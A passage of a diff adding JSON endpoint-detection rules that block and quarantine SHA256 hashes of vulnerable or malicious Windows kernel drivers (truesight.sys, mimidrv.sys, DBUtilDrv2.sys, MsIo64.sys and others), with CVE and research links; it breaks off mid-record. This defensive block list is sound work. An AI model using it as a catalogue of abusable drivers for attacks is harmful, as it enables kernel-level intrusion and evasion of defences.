+  "id": "a395f25f-69e3-5eb4-b662-1a691a5365c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617555Z",
+  "creation_date": "2026-03-23T11:45:29.617557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617563Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a29adcc53553499e1c72bfa6595c94284aeb1d68552f964d90d03fa304df4fbf",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a396a5e3-ab83-50ce-b84c-d1b4092ff7d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471285Z",
+  "creation_date": "2026-03-23T11:45:30.471290Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83fbf5d46cff38dd1c0f83686708b3bd6a3a73fddd7a2da2b5a3acccd1d9359c",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/fbdd993b-47b1-4448-8c41-24c310802398/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a39df2e5-f8fe-5c9b-a1a5-bc80d7be892b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824628Z",
+  "creation_date": "2026-03-23T11:45:31.824630Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1912df289ebcd827d07c50f690902ad0ab1ca0921ddd5da4f4fcee5034e7525",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3a82e11-79ba-54ff-b68f-af7b78d771ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611028Z",
+  "creation_date": "2026-03-23T11:45:29.611029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "157ae92541eda2f5035435c63e1654adfa45c06e37b05cbb60d76a63daa93f04",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3b59f21-2719-5110-bdf8-eedbb133c11b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812258Z",
+  "creation_date": "2026-03-23T11:45:31.812260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a52f4f77c3d124dfb614f83c44d722ae55c55a8bc9aa6e5e879101b456386923",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3c22071-0b31-5780-bc24-6d65f04ceadc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818926Z",
+  "creation_date": "2026-03-23T11:45:31.818930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "253cb2f36969c990f0960c13135ab20b9e38011a5761cf1cfe1c3e99b9afce0f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3c3ff84-a30c-5930-87b9-0d7384349373",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465113Z",
+  "creation_date": "2026-03-23T11:45:30.465116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14b89298134696f2fd1b1df0961d36fa6354721ea92498a349dc421e79447925",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3c5955e-e179-5c4e-8154-459f9612fd1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614368Z",
+  "creation_date": "2026-03-23T11:45:29.614370Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "101402d4f5d1ae413ded499c78a5fcbbc7e3bae9b000d64c1dd64e3c48c37558",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3c8343d-9d1c-58b8-8fad-5b3fb38f63c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983246Z",
+  "creation_date": "2026-03-23T11:45:29.983248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4720b202c4e6dd919222fe7b1f458705c0ed1ccc17ec4ba72a31eef8559b87c7",
+  "comment": "Vulnerable Kernel Driver (aka DBUtilDrv2.sys) [https://www.loldrivers.io/drivers/bb808089-5857-4df2-8998-753a7106cb44/,https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3db3417-859c-5393-bc64-db0774694921",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812490Z",
+  "creation_date": "2026-03-23T11:45:31.812492Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f66a9cc214782799be3bdb1014d1ec4dfb4b6ba8f209541c4e0764469b1e123",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3dcb793-4f1a-5753-bc39-2de15ce8f40a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822683Z",
+  "creation_date": "2026-03-23T11:45:31.822687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "337ccdb7e3a677345eb209b58cfa8896aaf80b1171e615fc5673caff9756186d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3e653c1-c9f6-5a4c-a3ee-2187375a2cf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490981Z",
+  "creation_date": "2026-03-23T11:45:31.490984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1a853f8a96a02d605cce4af31abb94ab234effda7a277958da4404c10e1be27",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3e7125a-2506-5dbb-804a-d1f38d5feed7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476677Z",
+  "creation_date": "2026-03-23T11:45:30.476680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1aee4d8a00f126582c4488025c7451fdbb9d0becbbfd58a396a2ac52011fac14",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3fcf42b-99e9-540c-95e6-c27eb037276f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464146Z",
+  "creation_date": "2026-03-23T11:45:30.464150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a42f4ae69b8755a957256b57eb3d319678eab81705f0ffea0d649ace7321108f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a400a95d-6df1-5aec-96d2-f03bfa855104",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149826Z",
+  "creation_date": "2026-03-23T11:45:31.149828Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d81e18a15f71397fb3ffba4f85d2b11f43a096c448544801ecc8c126cbda6e47",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a40c40a9-edea-543e-b6b7-095f63bc2241",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614300Z",
+  "creation_date": "2026-03-23T11:45:29.614302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f3e67f9454cb009716b89c0a296dcde73aa29145b7dcf776b81605932785b91",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a41768ec-7139-5541-8624-c2db288a7950",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821130Z",
+  "creation_date": "2026-03-23T11:45:31.821133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5abe2868d794a00debbeda3f6ac226ab8c5b8101fd27cd61e62d806e7810e511",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a42c9756-d8c7-5ab5-8bb6-f7693e2b16de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470784Z",
+  "creation_date": "2026-03-23T11:45:30.470788Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b29cf0840f2efe394091e07e6701c44916a9e3dafdef6952c1d28fbeb4649df3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4344b0b-c8b3-5981-9937-4a309c1e0e67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828936Z",
+  "creation_date": "2026-03-23T11:45:31.828938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828944Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fdfa7bec4063f465119df9587a268d1cca777b4c0e0d8e95d1189a3c7846d10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a440620e-bd1b-5a1c-8a0b-d7b1ff49f043",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456103Z",
+  "creation_date": "2026-03-23T11:45:30.456107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a082cdb569b9f1f82252402fa05785fd409222912d5b9e5423299819e6f940ed",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a44e20d5-cdec-5e1b-862b-deaad3c9dfaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821670Z",
+  "creation_date": "2026-03-23T11:45:30.821673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61f3b1c026d203ce94fab514e3d15090222c0eedc2a768cc2d073ec658671874",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a44fa1f9-671c-5378-ba22-09922073b2e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456595Z",
+  "creation_date": "2026-03-23T11:45:30.456598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456607Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "969f73a1da331e43777a3c1f08ec0734e7cf8c8136e5d469cbad8035fbfe3b47",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a4802692-f5a6-54b8-8da5-6132fb3f246c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
